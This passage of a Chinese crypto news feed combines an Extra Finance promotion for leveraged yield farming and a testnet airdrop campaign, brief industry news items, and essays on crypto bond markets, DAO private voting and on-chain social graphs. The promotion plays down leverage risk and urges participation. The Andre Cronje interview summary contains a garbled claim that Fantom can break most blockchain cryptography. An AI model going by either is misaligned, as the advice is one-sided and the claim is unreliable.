提醒新人们千万不要加杠杆，这对于交易者来说确实是一个非常实用的忠告。但实际上，杠杆并不是洪水猛兽，也没有想象中的如此危险。在一些场景中合理利用杠杆，能够将资本效率数倍提升。特别是在 DeFi 的 Yeild Farming 中，杠杆能够让有限的资金发挥最大的作用，将收益提高到新的高度。 在 Extra 中，杠杆成为提高利润的工具，为用户带来了正面效用。Extra 最高为用户提供 3 倍杠杆。用户提供资金作为抵押品，通过协议的借贷市场借入更多资金，将规模扩大到本金的三倍。如下图所示，WETH/USDC 的 APR 为 92.5%，用户提供 100USDC 的资金，将杠杆设定为 3 倍，借入 200USDC，并支付 37.6% 的借贷利率，将总价值 300 USDC 的资金投入 LP 中后，APR 直接提升到了 278%。本金没有变化，只是借用协议提供的杠杆，收益从 92.5% 直接提升到了 278%。 灵活的仓位设置 Extra 为用户提供多维度灵活的仓位设置。用户可以提供 LP 中的包含的任意代币的任意金额。比如在 WETH/USDC LP 对中，用户可以单独提供 USDC 或者 WETH，或者同时提供两种代币，并且无需保持 1:1 的比例。 用户还能够在 1 倍杠杆和 3 倍杠杆区间内自定义杠杆倍数，同时借入一种或者两种资产。同时还能够自由设置借入的资产比例，通过对借入资产的比例分配，实现做多/做空或者中性策略，将潜在收益进一步提升。 做多/做空和中性策略 加密市场是一个高波动性的市场，波动带来了风险也带来了机会。由于 Extra 灵活的仓位设置功能，通过合理设置能够实现做多/做空和中性策略，能够让用户在市场的波动中获得额外收益。 在设置头寸时，如果借入一个币种，就是做空，当价格下跌，偿还债务需要的资金将减少。如果买入和持有一个币种，就是做多，当价格上涨时则获得更多利润。同一个币种，如果借入和持有的数量相等也就是做空和做多的金额相等，就是中性策略。 市场的波动很多时候难以预测，中性策略将风险敞口降低为 0，是杠杆收益农业的最佳选择。但是随着价格的波动，杠杆可能倾斜，需要用户经常检查杠杆率，并重新平衡，保持借入和持有的非稳定代币数量相等。 自动复投 复利的力量相信每个人都知道。Extra 采用自动复投策略，每十五分钟自动 Claim 收益，并重新平衡为 LP 加入原始头寸，头寸价值不断上涨，收益也不断上升，从而实现自动复利。这个过程中，用户无需主动管理，只要在 Extra 开仓即可。 参与测试网活动领OAT Extra Finance 的测试网在 3 月 23 日上线，并同步在 Galxe 开启了测试网活动。活动从 3 月 23 日开始持续到 4 月 12 日，一共 3000 个徽章，先到先得。OAT 持有者在完成所有任务后将有资格获得潜在的好处（例如空投或白名单）。此外，在 3,000 名 OAT 持有者中，将奖励提供最有价值反馈的前 20 名测试人员独家 OG 角色以及每人 20 USDC 的奖金，评选标准将基于反馈者见解的质量和影响。 任务也都非常简单，只需要关注点赞转推，加入 Discord，参与测试并在指定频道发消息即可获得。OAT的Minting费用全都由项目方支付，参与用户无需支付gas fee。OAT 有上限且项目产品已经推出，加上项目构建在比较热门的 L2 公链 Optimism 上，含金量还是非常高的，建议参与。 活动链接： https://galxe.com/ExtraFi/campaign/GC3FKUxN85 Extra 自带借贷池，用户还能够通过贷出单一资产获得稳定收益，借款者则能够使用杠杆提高收益。借贷资金定向使用，只能用于杠杆池，资金不离开协议，将借贷和协议的风险降到了最低。 伴随着杠杆的使用风险也是存在的，清算风险是使用杠杆的带来的独特风险，在 Extra Finance 这种风险是可控的。Extra Finance 中，当LTV 比率达到 83.33% ，将会触发清算，留下了 16.67 的缓冲空间。在 Extra 的页面 UI 中，为用户明确展示清算价格，使用户能够根据行情提前重新平衡。灵活的仓位设置支持用户开立做多/做空和中性策略头寸，在特定的市场行情中能够获得超额利润，并避免清算风险。 用户无需在集成的 Dex 添加流动性并跳转操作，在 Extra 中能够通过添加单一资产或者任意价值的两种资产，自定义杠杆倍数，一键添加流动性。简单便捷的流程，Extra Finance 人性化的功能设计和 UI 显示，让 DeFi 新手也能够轻松操作，使更多人能够进入 DeFi 并享受 DeFi 带来的便利和收益。  ( 3 min )
    以太坊核心开发者：最后一个以太坊主网影子分叉拟于下周进行
    PANews 3月31日消息，以太坊核心开发者Tim Beiko在推特上表示：“以太坊Shapella升级测试进入最后阶段，最后一个主网影子分叉计划于下周进行，并对最新版本进行跨客户端EVM模糊测试。EOF（EVM 对象格式）已更新，各队普遍对EOF持积极态度，但怀疑它是否能与坎昆会议上的EIP-4844相适应。有人提议可能将其安排在下一个分叉中。”  ( 1 min )
    加密世界的“原生债券市场”展望
    机构：Mint Ventures 作者：Colin Li, Mint Ventures研究员 本篇文章属于Mint Ventures的Mint Clips 系列。Mint Clips是我们对于行业事件，在内外部交流后的一些思考。相对于我们的#深度研报 和#赛道扫描 系列文章，Mint Clips并不讨论特定的项目，主要呈现对于特定议题的“阶段性洞察”。 在上一篇：“加密世界的原生基准利率该如何定义？”中，我们讨论了Crypto Native的无风险利率是什么以及POS收益率的简单运用。在这一篇中，我们探讨链上债券市场为什么没有迅速发展起来，以及未来可能会往什么方向发展。 供给：周期不利于长久期低风险投资者 在传统金融领域，债券投资者的风险偏好总体低于股票投资者。承担相对低的风险，获取更稳健的回报，是债券投资者的目标。 Crypto市场成长到现在，已经成为总市值超过1万亿美元的巨大市场。不过，在BTC的“4年减半”以及行业野蛮生长带来的泡沫快速生灭的大背景下，市场表现出了极强的波动性。以比特币为例，牛市在高峰有数十倍甚至上百倍的收益，但转熊之后又很快出现80%甚至更大跌幅。其他币种在牛市和熊市中的表现更为夸张。这种高波动性导致约90%的交易者在市场中亏损离场。或许因为这样的原因，我们看到的情况是永续合约这一类逐日盯市的杠杆更为流行，久期（可以简单理解为期限、时间）较长的杠杆则几乎没有。 来源：https://coinstats.app/bitcoin-rainbow-chart/ 其他存在于市场的低风险投资机会，也表现出了较强的周期性。以存续周期最长的BTC永续合约的资金费率为例，市场在牛市中的收益率明显高于熊市。这种投资收益率的不稳定性，即便拥有长久期负债的投资者希望投资于较低风险的“类债券”机会，但也很难找到能够长期承受较高融资成本的高风险投资者。 来源：https://www.binance.com/zh-CN/futures/funding-history/perpetual/1 在最近的这一轮牛市中，“机构”入场和DAO Treasury是被反复提及的主题，这也是一些项目成立的初衷，比如针对做市商的DeFi项目。然而，随着2022年5月Luna崩溃以及随后波及三箭、FTX的影响，大量的机构投资者受到了冲击。这不仅影响了机构在市场中存量资金的使用，还导致监管机构更加重视对于crypto领域的监管。加上近期为数不多的美国加密友好银行的破产或退出，机构资金的大规模入场可能会需要更长的时间和信心的修复。 关于DAO Treasuy财务管理的叙事，市场中的讨论也非常多。但是，Hasu在2021年就分析了当时Treasury中资金的分布情况。大部分资产是项目自身的token。而即便放到现在看，优质项目，比如Lido、MakerDAOtreasury中仍然是以自身的token为主。 即便我们不考虑现状，展望DAO的未来，或许大部分项目也未必能有足够多的其他资产存储在Treasury中。这可能与crypto行业自身属性有关系。由于crypto行业是跨全球发展，各国之间的监管没有统一甚至还没有出现，让crypto行业出现了马太效应极强的局面。这种现象在现阶段DeFi中最成熟的去中心化交易所（DEX）和借贷行业（lending）表现较为明显。之所以有这样的局面出现，是因为crypto市场是链接全球流动性的且监管还不充分的一个市场。 DeFi是金融的一种，也会有金融天生的一些属性，比如说对于投资者来说，期待的是成本最低、收益最高、安全性最好的项目。因为不涉及客户管理，只有在产品维度上做差异化，但是又是开源项目，相互之间抄起代码或产品功能来不难。但是，由于DeFi对于流动性、交易成本等有天然的偏好，用户的流动性没法抄袭。所以马太效应比较强，先发的项目有更大概率成为龙头。 传统市场中，一些监管政策有反垄断的目的，希望市场参与者足够多，也会审查相互之间的并购重组，在某种意义上是抑制马太效应。回头看DeFi，没有什么监管，没有客户服务等，没有来自监管层的人为抑制垄断问题，所以马太效应就比传统领域更强一些。 那么，很多现在的DeFi项目在未来还会存在吗？可能很难，或者说即便存在很多DeFi，其中绝大部分的规模可能会很小，TOP3市占率可能就95%甚至更高。头部项目的DAO Treasury中资产就更多，那么很多DAO拥有大量Treasury的这个叙事或许就不成立了，每个赛道中只有几家头部DAO有足够的的钱去做Treasury management。 来源：https://twitter.com/marcus_wwwwww/status/1542783032008261632 长期看，大部分DeFi细分领域都可能因为龙头项目在流动性和交易成本上的优势，出现寡头占比可能是90%市占率的局面。那么对于DAO而言，需要管理的资金场景可能并不多。 回到token本身，token本身具备股债双重属性： 而在加密市场中，一个项目成立之后，它的一部分token是作为“激励”。当用户满足项目要求的行为发生之后，就拥有了参与项目激励分配的资格。一般情况下，token作为激励分配时，会在某一个时间点结算，比如每个区块、每天、每周。因为用户的行为发生在token激励分配之前，所以在每一次token激励没有分配前，都是项目对于用户的“欠款”，类似于传统会计科目中销售返利时的“预计负债”。创始团队如果想扩张债务，通过预留更多的token作为项目运行后的”激励“就可以满足条件。以“激励”这类型的新式负债存在，比直接申请贷款或者发行债券的好处在于，传统的贷款和债券是以法币计价的刚性债务，对于任何创始团队来说，都是一笔不小的压力。如果无法偿还，会面临法律等各方面问题。而token的发行权在项目方自身，也没有预期的币价要求，只有预计token数量的计划，这种新型债务对于项目方更加友好。正因为token这种新型价值媒介和融资方式的出现，项目方进行传统债务融资的需求大大降低了。 未来发展预测 上述3点可以看到，不论是从市场本身强周期性，还是从固定收益产品的供给端和需求端出发，暂时都没有看到一个类似于传统债券市场的发展土壤。什么样的债券市场可能更适合crypto行业的发展？ 从利率的基准来看，基于公链的POS收益率可能是最好的选择。这个收益率水平基于一个更大的生态存在，其业务发展程度的波动性相对单个Dapp项目而言往往更小一些。其次，这个收益率锚定了生态的增长，更容易被那一条链的参与者接受。而且，一个Dapp对于用户激励的控制权在项目方手里，不一定每一个用户都要去买这个Dapp的token；对于公链来说，只要用户需要在链上进行实质性的活动，就需要购买公链代币支付费用，相对来说公链代币的分散度可能更大。并且，在胖协议理论的影响下，大量投资者都有购买公链代币赚beta收益的倾向。因此，PoS收益率并不受到单个Dapp项目方长时间的影响，也更加稳定。 从受众来看，债券市场的参与者定位在高风险的投机者和低风险的套利者更为合适。当前的加密市场中非常缺乏长久期的投资者，所以想寻找大量稳健投资者很难。另外，利率的波动性仍然需要另一个交易对手方去承担，风险只能转移不能凭空消失，所以需要一个对利率波动投机的高风险参与者。虽然缺乏机构和DAO的资金来源，但是市场中存在大量的套利交易者，这部分投资者可以做为“低风险投资”的资金来源。与此同时，市场中更多的是高风险的投机交易者，这部分用户可以作为吸收波动性的另一端。 比如Pendle这一类基于LSD衍生出的收益代币化项目，把LSD的收益，拆分成了两部分： principle token（本金代币），固定利率产品，可以看成是一个零息债券； yield token（收益代币），利率浮动，用户可以通过买入收益代币来博未来收益率升高。既满足了套利者和低风险投资者对于收益率的要求，也可以让高风险投资者参与到对于LSD收益率的预测投机中。 从期限来看，crypto市场的整体周期偏快，因此债券的期限也应该更短。比如1年期以内的债券。这样设计的好处不仅仅有利于低风险套利交易者，而且也有利于高风险交易者：短期利率的波动会更加剧烈和频繁，可以为短期交易者提供更多潜在的交易机会。  ( 2 min )
    央行副行长：加密货币并没有解决信用货币存在的问题，潜藏很多风险
    PANews 3月31日消息，据澎湃新闻报道，中国人民银行副行长宣昌能在博鳌亚洲论坛2023年年会“数字时代的金融基础设施与金融服务”圆桌会上表示，要加快完善与数字经济相适应的监管机制。金融监管是保障数字金融稳健运行的基础性的制度安排，监管缺失会加剧非理性的市场行为。宣昌能表示，以加密货币为例，国际金融危机爆发以来，主要发达经济体长时间实施超宽松的货币政策，大规模实施QE，引发市场主体对信用货币资产贬值的担忧，在美国出现了占领华尔街的运动。在这样的背景下，以区块链技术为基础，加密货币强调它去中心化和规则算法的属性，试图对信用货币形成一种反制，并且在流动性充裕的环境下受到很多人的追捧。  ( 1 min )
    Tessera创始人旗下NFT市场Escher正式上线，将强制执行100%版税
    PANews 3月31日消息，据官方推特，NFT碎片化协议Tessera创始人Andy Chorlian创立的NFT市场Escher已正式上线，该平台将提升购买和销售版画体验，并使收藏家和创作者更容易参与加密社区和获得激励。Escher还宣布其NFT市场将强制执行100%版税，同时上线限量版NFT系列“Escher Exclusives”。 此前2月消息，Tessera创始人Andy Chorlian在推特上宣布，将推出新NFT市场Escher。  ( 1 min )
    对话DeFi之父AC：离开的原因，对Fantom、DeFi以及监管的看法
    在这一期的《The Defiant》节目中，Camila Russo 与 Fantom 联合创始人 Andre Cronje 一同探讨了 DeFi、Fantom、监管以及成为一个小众名人所面临的挑战。 请阅读以下内容了解更多信息。 Andre 之所以进入这个领域，是因为他认为这主要是一场骗局。他做的第一件事就是开始了自己的代码审查博客，让自己学习技术，但同时也有很多项目推出，声称已经解决了某些问题或解决了一些难题。 Andre 起初对此行业持反对态度，即使在今天，他仍然认为 99% 的项目都是垃圾。然而，为了那 1%是真实可信的项目，他已经在这个行业呆了五年。 每当 Andre 不得不与任何传统系统打交道时，例如银行、常规监管和税收等，他都会想起作为区块链原住民人们获得的奢侈和自由。 另一个问题是代币的变化速度比基础技术快得多，导致市场整体存在着巨大的脱节。其中的主要原因是由贪婪驱动的金融因素所致。 Andre 认为，这更多地与 DeFi 的公共性质有关，而不是其基础技术。即使 Andre 离开了，他仍然没有停止编写后台代码，继续完善 Primitive。 Andre 总是和团队保持沟通。他花了很长时间才意识到，有一个临界点，超过这个点就不再是核心贡献者。 Fantom 在 2018 年推出了主网。当时，该公司已经实现了很高的速度，但并没有像许多其他团队那样进行营销。当时，唯一合适的选择是进行首次代币发行（ICO）。 Andre 表示，在资源有限的情况下，他们花费了太多时间错误地追求其他领域，导致 Fantom 消失一段时间。 当 DeFi 变得流行起来时，Fantom 的优势开始变得更加明显，成为第一个具有真正终局性的区块链，这意味着当时存在的所有其他区块链都使用了最长链规则。 Fantom 在量子计算方面取得了重大突破，同时也在人工智能方面有很大的进展，突然间成功地知道如何摧毁区块链技术中大多数密码。 从理论上讲，具备这种能力的机器是量子计算和 AI 增强的，并且所有这些东西都可以提出一个新的最长的比特币区块链。 当 DeFi 开始变得非常流行时，人们开始看到了许多用户体验（UX）和用户界面（UI）的改进。Gas 货币化使得自适应型开发者可以获得在他们的合同上花费的 Gas 的奖励，因此他们有了更可持续的收入来源。 基于区块链的应用与 Web2 的比较 有两种类型的监管，它们是混合的，但其中包括了加密货币监管。FTX 是一家标准的公司，恰好处于加密货币的交叉点上，他们应该成为一家受监管的加密货币公司。 试图重新监管去中心化的加密货币与试图监管集中化的加密货币之间存在区别。 这并不意味着所有匿名人士都是坏人，但匿名文化使得不良分子更容易渗透进来。资格认证很重要。 当前的定位是错误的，监管机构正在过度干预，将未来在该行业发声的机会推到了一边。 很多人说 DeFi 正在下降，但实际上并非如此。按照某些人的标准，这些指标是线性增长的，根据所有的指标，DeFi 正在更好地增长。 对资本的获取有所放缓，但 Andre 认为随着人们看到更多真实世界的资产进入市场，它会增长。 真实世界的资产将成为一个叙事。它会发生，但只有在第一个监管方面出击之后才会发生。 传统审计师必须在链上使用足够的能力以将数据引入其现有报告，人们才能看到它在规模上的影响。 还有一些基础设施缺乏，未来期权方面可以做的工作也很多。 Andre 提出了一些基础设施，但他感到遗憾，因为没有人采用它们。 还有更多的货币被用于稳定币，这开始允许更多的跨境结算。 区块链还没有足够的功能集来解锁下一代应用程序。只有 Avalanche、Fantom 和 Solana 等少数几个团队在进行一些层一改进。 Q: 作为一个公众人物，是什么促使你离开？ 这既与成为一个公众人物有关，也与这个领域本身非常公开有关。在传统金融中，如果在幕后发生了什么事情，可以有机会处理它。有机会私下联系监管机构并披露发生的事情。区块链的超级公开性质是一个大问题，因为一旦它发生在链上，每个人都知道了。 这是公共性质和紧急性的结合，这些应用程序和这些区块链的高度公共性质将激励一切经济行为。不要听取反馈意见，并为该反馈意见创建其他途径。Andre 认识到什么是他需要解决的问题，而什么是其他人需要解决的问题。保持理智总是困难的，不是每个人都能够生存。 Q: 你预见这些应用程序将在行业中处于何种地位？ 当时唯一有意义的建设是金融原语。希望在两年内能看到一些游戏和一些社交系统。现在互联网上的所有内容都可以在具有不同商业模式的去中心化世界中复制。Andre 希望看到一些独特的去中心化原语，这些原语目前不存在。区块链只是颠覆了商业模式，这还没有充分发挥其潜力。 Q: 如果美国用户无法轻松访问加密货币，那么加密货币会是什么样子？ Andre 认为，随着技术和可访问性的改进，加密货币将成为不可阻挡的力量。  ( 2 min )
    FTX欧洲子公司为当地客户推出仅用于提款的新网站
    PANews 3月31日消息，据Finance Magnates报道，破产的加密交易所FTX的欧洲子公司FTX Europe为其客户创建了一个新网站，用于从该平台提取余额。新域名ftxeurope.eu已获得塞浦路斯证券交易委员会 (CySE) 的批准。新网站将不提供任何产品或除余额提取外的任何其他服务。登录新网站时会会弹出一个对话框，要求用户“登录您的FTX EU帐户，以查看您的余额并请求提款”。原来的旧网站目前仍无法使用。  ( 1 min )
    SBF对美国联邦法院最新一轮的欺诈、贿赂等指控拒不认罪
    PANews 3月31日消息，据CNBC报道，加密交易所FTX的创始人Sam Bankman-Fried（SBF）周四在纽约联邦法院对其与FTX和Alameda Research倒闭有关的另外五项指控表示不认罪。SBF的律师Mark Cohen表示，他计划提出动议，要求不就所有指控对他的当事人进行审判。SBF将辩称，根据美国和巴哈马条约，被引渡的人只能根据他们被引渡的罪名受审。SBF发言人表示：“正如Cohen在法庭上所说，在提交动议时，我们将对新指控提出质疑。” 此前3月28日消息，美国公布针对FTX创始人SBF的13项新起诉。  ( 1 min )
    探讨DAO治理中隐私投票的利与弊
    作者：《Poison or Cure? Private Voting in DAO Governance》by Shumo 编译：0x11，Foresight News DAO 是加密货币带给世界的新治理结构，它旨在为个人和团队协调和组织方式带来更多自主权。和加密货币带来的许多新事物一样，DAO 带来了许多混乱，最著名的是 The DAO 黑客攻击事件，它导致了以太坊的第一次硬分叉。尽管加密货币是新事务，它并不完美，但构建在它之上的 DAO 仍然存在，并且存活了下来。在实践方面，DAO 金库中持有价值数十亿美元的资产；在哲学方面，许多深度思考者开始研究 DAO 的深远影响（我推荐 Stanford Blockchain Review 的最新文章）。  直到今天，DAO 的治理实践几乎都基于基于代币的投票方案。在典型的 DAO 中，成员持有某种治理代币来代表投票权。与国库相关的 DAO 决策通常在链上投票决定，例如简单多数、二次放投票或某种动态阈值方案。由于技术限制，目前所有完全链上的 DAO 治理都是公开透明的。  随着 zkSNARKs 的普及，DAO 治理的链上隐私投票成为可能。近期，运行最好的 cc 0 NFT DAO 之一（Nouns DAO）开始了在其治理实践中引入隐私投票的探索。0x DigitalOil 写了一篇文章阐述为什么隐私投票对 Nouners 很重要。尽管他的后续提案获得通过，但依然颇具争议。首先，投票参与率（>40% ，而正常情况下为 30% ）。其次，尽管该提案获得通过，但仍有大量反对票。值得注意的是，出于对隐私投票可能对 Nouns 文化产生负面影响的担忧，Nouns 创始团队在该提案中投了反对票。  这引出了一个有趣的问题？假设技术准备就绪，DAO 是否应该采用隐私投票方案。 如果从哲学的角度打个比方，DAO 就是一个公民社会。然后，隐私投票是言论自由的重要护栏，这是写在最成功的「DAO」之一——美利坚合众国的宪法权利。我不认为本文的读者需要质疑言论自由的价值。在 DAO 中，投票是表达的最终形式。 从实际的角度来看，正如 0x DigitalOil 在他的 Nouns 论坛帖子中所阐明的那样，有证据表明互换选票的现象非常普遍。DAO 成员很多时候不一定会投票选出他们认为最好的东西。他们可能担心他们的选票会影响他们的形象；他们可能担心他们的反对票会损害他们未来提案获得通过的机会。现实生活中的选民报复可能成为一个问题，DeFi 相关的 DAO 中更是如此。   从哲学上讲，再次使用公民社会类比，隐私投票消除了选民的责任感。公开透明的投票记录可能是 DAO 声誉系统建立健全社会层的重要来源。在民主政治制度中也可以看到类似的设计：美国参议院和众议院的投票记录是完全公开的。 由于 DAO 的隐私投票系统尚未投入使用，我无法预见可能的负面影响。但可以想象，由于缺乏问责制，交易选票和贿赂可能会成为一个问题。虽然有像 Peter Thiel 这样的思想家认为私下交易和马术交易是民主社会的「润滑剂」。我个人可能不同意这一点。由于投票在不同地址之间分散进行，目前的投票方案甚至存在不透明性的问题。 在这篇文章中，我的目标不是盲目推销隐私投票计划。然而，我们确实需要开始隐私投票的社会实验，这是目前 DAO 实践中缺乏的一个基本原语。所以隐私投票实践的几个方向： 混合方案：类似于美国参议院 / 众议院和总统选举，对有声望的成员保留问责机制，对大众提供隐私机制。  可选性：选民可以选择公开或保密。虽然一个可能的问题是，选择不公开可能本身就是一个信号。 让这个伟大的社会实验开始吧！  ( 2 min )
    Magic Eden引入钻石奖励，目前用户可通过三种方式赚取钻石
    PANews 3月31日消息，据官方博客，NFT市场Magic Eden宣布引入钻石奖励（Diamond Rewards）计划，允许用户根据不同的任务赚取钻石，并在Magic Eden中解锁更多的奖励。 钻石是一种奖励货币，每月奖励数量都会保持不变。目前获得钻石的方式有以下三种： 1.在Magic Eden上架NFT并成功出售； 2.在Magic Eden竞价NFT并被接受； 3.完善个人资料。 Magic Eden表示，用户忠诚度分数用于确定所赚钻石的乘数，100%的忠诚度得分会获得2倍乘数。每24小时检查一次忠诚度，并在赚取钻石时应用忠诚度乘数。忠诚度得分计算考虑了用户在过去6个月的活动。Magic Eden还将推出更多赚取钻石和奖励的方式，以及未来特定的钻石福利和奖励。  ( 1 min )
    韩国法院再次拒绝逮捕Terra联创Daniel Shin
    PANews 3月31日消息，据彭博社报道，韩国检察官要求对Terraform Labs联合创始人Daniel Shin发出逮捕令的请求被当地法院第二次驳回。 首尔南区法院周四表示，对申某的指控仍有争议，他不太可能有潜逃或销毁证据的风险。 此前去年12月消息，韩国法院驳回对Terra联创Daniel Shin逮捕令。首尔检察官去年表示，Shin面临欺诈、失职、违反资本市场法和非法集资等指控。  ( 1 min )
    探讨构建十亿用户的Web3 社交图谱两种方法：链上图和链式图
    原文标题：《The Billion User Social Graph》 撰文：Jon Stokes 编译：Dan，W3.Hitchhiker 随着埃隆 - 马斯克最近接管了 Twitter，关于从大型社交网络迁移到独立或开放的替代方案的讨论已经越来越多，但是所有那些刚开始幻想在加入繁荣的 Twitter 前居民社区的人，很快就会遇到自 J6 之后的跨平台社交媒体大清洗以来，右派一直在努力解决的问题：网络锁定是真实的。 你可以对协调问题、偏好级联、信号和其他游戏理论式的概念进行理论和策略分析–我不否认这些都是理解问题的有用方法–但要理解 Twitter 和 Facebook 对我们数亿人的强大影响，你真正需要知道的是网络时代初期的一个简单启发式方法 梅特卡夫定律指出，电信网络的价值与系统的连接用户数的平方成正比（n2）。梅特卡夫定律最初是由 George Gilder 在 1993 年以这种形式提出的，并归功于 Robert Metcalfe 在以太网方面的工作。大约在 1980 年，梅特卡夫定律最初不是以用户为单位，而是以「兼容的通信设备」（如传真机、电话）为单位。只是后来随着互联网的全球化，这一定律才延续到了用户和网络，因为它的初衷是描述以太网连接。 要让人们放弃一个大的、密集的网络图，而选择一个小的、稀疏的网络图，几乎是不可能的，唯一的原因是前者有价值，而后者没有。 不过奇怪的是，web3 解决了这个问题。或者至少如果我们使用一些简单的智能合约，将区块链从一个巨大的用户表变成一个巨大的社交图谱，它可以解决这个问题。 区块链可以而且确实作为一个巨大的、共享的用户表发挥作用，它是开放的、公开的，不受任何一个实体控制。正如我在《十亿用户表》中写的那样： 公共区块链相当于整个互联网的一个单一的、大规模的用户表，下一波分布式应用将建立在它之上。 取而代之的是一个由 API 连接的分散的用户数据仓网络，一个通过开放协议和分散的存储节点网络访问的单一分散的用户数据存储。因此，身份托管区块链代表了数据存储实施层的去中心化，以及数据存储访问层的再中心化。 想象一下，LinkedIn、Reddit 和 Github 都将他们的用户表（以及他们的许多专有数据，如认可、积分和活动历史）移植到 BitClout。马上就会发生以下情况：每个 Github 用户也是 Reddit 用户、LinkedIn 用户和 BitClout 用户。同样，每个 Reddit 用户也是 Github 用户、LinkedIn 用户和 BitClout 用户。我可以继续说下去，但你会明白这一点。 每个建立在同一虚拟用户表上的公司都能立即获得该表上其他每家创业公司的网络效应。每当一个链上公司加入一个新的用户，那么你的服务也有一个新的用户。( 从某种程度上说。他们可能还没有积极使用你的服务，但他们实际上在你的服务的潜在用户）。 先前的那篇文章用 Bitclout（该项目中的链现在被称为 DeSo）作为可以支持这种用例的区块链的典型例子。但是，尽管我对 DeSo 的整个事情感到兴奋，但它的结果并不那么好。 这里不适合做 Bitclout / DeSo 的事后总结，但标出该区块链的一个方面是有意义的，因为它对现在的讨论很重要。Bitclout 努力将整个社交网络放在链上，每个帖子都被写在链上，作为一个对象，可以累积收入（通过 Bitclout 钻石）。这很聪明，但任何试图承载实际内容的区块链都会看到其数据需求随着用户和连接的数量而非线性增长。 Bitclout 团队非常熟悉这种无限制的数据增长问题，并花费了大量的实际工程努力来解决这个问题。但事后看来，我实际上认为他们试图同时做太多的事情。他们应该只专注于社交图的可移植性问题。 用我之前文章中的数据库术语来描述，Bitclout 试图把以下所有的表都放在链上（另外还有一些是 Bitclout 特有的）： 最后两张表总是出现数据爆炸，在用户迅速增长的情况下都会变得不容易操作。 因此，我认为更好的方法是采用现有的区块链，它基本上已经是那个第一张表（即用户），并在其中添加一个 user_follows_user 连接表。( 我们还可以为其他类型的关系扩展连接，如 user_mutes_user，但目前我们还是保持简单的。) 这个用户对用户的连接表也会随着用户数量的增加而非线性增长，但增长速度会比较慢，更重要的是，为了表示它所需要的额外数据量（=它所消耗的额外块空间量）将远远低于帖子表。 我这样建议是因为用户和粉丝关系构成了每个大型社交网络平台锁定的主要来源。如果你的整个 Twitter 或 Facebook 的社交图谱都是开放的，并且可以随时提供给其他想要托管帖子和其他更多数据密集型的社交网络体验的社交平台，那么这些平台的锁定性基本上为零。 想象一下，我的整个推特图是在链上体现的–包括实际的账户和追随者关系。为了查看该图中的 Twitter 帖子（以及相关的喜欢、转发、引用 - 转发等），我需要用我的钱包连接到 Twitter.com。但是，假设我想跳转到 tribel.com，或 gab.com，或其他一些有自己特殊倾向和节制政策的社交平台–如果他们能从区块链上读取我的社交图谱，那么我可以在那里连接我的钱包，看到同样的连接，并看到他们在这个其他网站上的任何帖子。 这听起来可能没那么有吸引力，但考虑到这样一个事实：如果我在 Tribel 上关注一个新的人，那么我现在也在 Twitter 和 Gab 上关注这个人–以及在其他所有使用相同链上图的用户和关系的社交平台上。取消关注和屏蔽的工作方式也一样–在一个地方做一次，你的图谱的变化就会立即反映在所有地方。 现在，那些在阅读时想利用这一点的已经意识到，在一个如上所述的世界中，将不可避免地发生什么：有人会制作一个全能客户端，让你通过一个界面从任何或所有这些网络中阅读和发布信息。那么，拥有独立的服务就没有意义了，他们都会倒闭……或者他们会吗？ 我所描述的世界已经以一种原型状态存在，以竞争性信息协议的形式存在，这些协议都与你的电话号码相联系，并从你的联系人数据库中填充自己。电话号码系统是亿万用户表的原型，而分布式的联系人应用程序都可以读写标准的 Vcard 格式，构成了建立在该表之上的关系图。 有许多信息传递协议都是借助于这种电话号码 + 联系人的组合，其结果有点像我在这里描述的社交网络。例如，当你第一次登录 Telegram 时，它会扫描你的联系人，然后你立即在这个新的应用程序中拥有你现有的网络。 其结果是，你可以选择通过 Signal、Telegram、WhatsApp、iMessage 或传统短信与相同的电话号码交换信息–这一切都在于你和你的网络中的其他人想使用哪种信息协议。 还有一个永恒的循环，就是消息应用的去中心化和再中心化，这从 ICQ 时代就开始了，在 WhatsApp / Signal / Telegram / Facebook / 等的时代仍然在发生。你可以找到任何数量的多合一消息客户端，在一个窗口中支持许多这些平台。 这些信息应用都没有受到损害，因为它们都从同一个开放的电话号码系统和可互操作的联系人应用和服务生态系统中获取身份–它们都共存并带来不同的东西，而且我们中的许多人在它们之间切换，与我们联系人中具有不同需求和偏好的不同子图交谈。如果我们把社交图谱移到链上，我希望这种动态会持续下去。 不同的平台有不同类型的社交连接，用户可以相互之间的连接。Facebook 有朋友、关注和屏蔽。Twitter 有关注、静音和屏蔽。这些对于这些平台来说是很好的，但我们可以改进它们，使它们更适合区块链，使它们更具有可组合性。 可组合性是一个计算机科学术语，大概意思是，你可以混合和匹配这些小的、离散的、明确定义的工具，以获得不同的效果和功能。 考虑到 Facebook 的「朋友」–这是它自己的连接类型，但它也意味着「关注」，因为当你把某人加为好友时，你会自动关注他们。在 Twitter 上，「封杀」意味着「静音」，因为当你屏蔽某人时，你基本上是在让他们静音，同时也阻止他们看到你的帖子。 对于我自己的两个社交图谱的建议，下面，我想建议跟随，更干净和可组合的社交图谱关系集： 在这个方案下，一个封杀是一个「静音」加一个「屏蔽」，所以它是对同一个目标地址的两个操作，一起组成的（例如，如果我想封杀 annoyinghater.eth，我就把这个地址静音，再把它的屏蔽）。 如果我想看到某人的帖子，但又不想让他们看到我自己的帖子，我可以关注他们，再加上屏蔽。或者，如果我想保留通过导航到他们的内容或定期取消他们的静音来阅读，我可以关注加静音。 我试图以这种方式理清关系，因为它使我们更容易推理接下来的章节中的合约和关系。 在本文的其余部分，我提出了两个将社交图谱分层到十亿用户表中的建议。 要真正理解这两个提案，你需要对以下概念有一些基本的熟悉： 了解一点 Solidity（以太坊的智能合约编程语言）也会有所帮助。如果你对上述一项或全部内容模糊不清，我试图以一种你应该仍然能够掌握基本知识的方式来写这篇文章。 对于这两个提案，我假设我们使用 ENS 作为身份的根，并向其添加新的地址记录，其中包含一些相当标准的 ERC721 NFT 合约的地址，这些合约分别代表我上面概述的三种类型的社交关系（跟随、静音、屏蔽）。这三个合约的作用从一个提案到另一个提案都非常不同，但把它们的地址放入三个特殊的 ENS 地址记录的基本想法保持不变。 我还想为社交用户数据 URI 提出一个额外的 ENS 记录，这样你就可以更新你的社交数据而不需要消耗 gas。一个拟议的 profileURI 记录将链接到一个藏在某些第三方平台上的 JSON 对象，看起来像这样： curl https://jonstokes.com/jons-profile.json -H "Accept: application/json" { "name": "jonstokes.(eth|com)", "bio": "Writer. Coder. Doomer Techno-Optimist. Cryptography Brother.", "website": "https://jonstokes.com/", "location": "Austin, TX" } 档案 JSON 中的一些内容与现有的 ENS 字段是多余的，但这没关系；这样做的目的是为了给社交平台提供一些可以显示的东西，并让用户能够对他们的社交档案进行修改，而无需花费 gas 来更新 ENS 记录。 On-Chain Graph 的想法使用 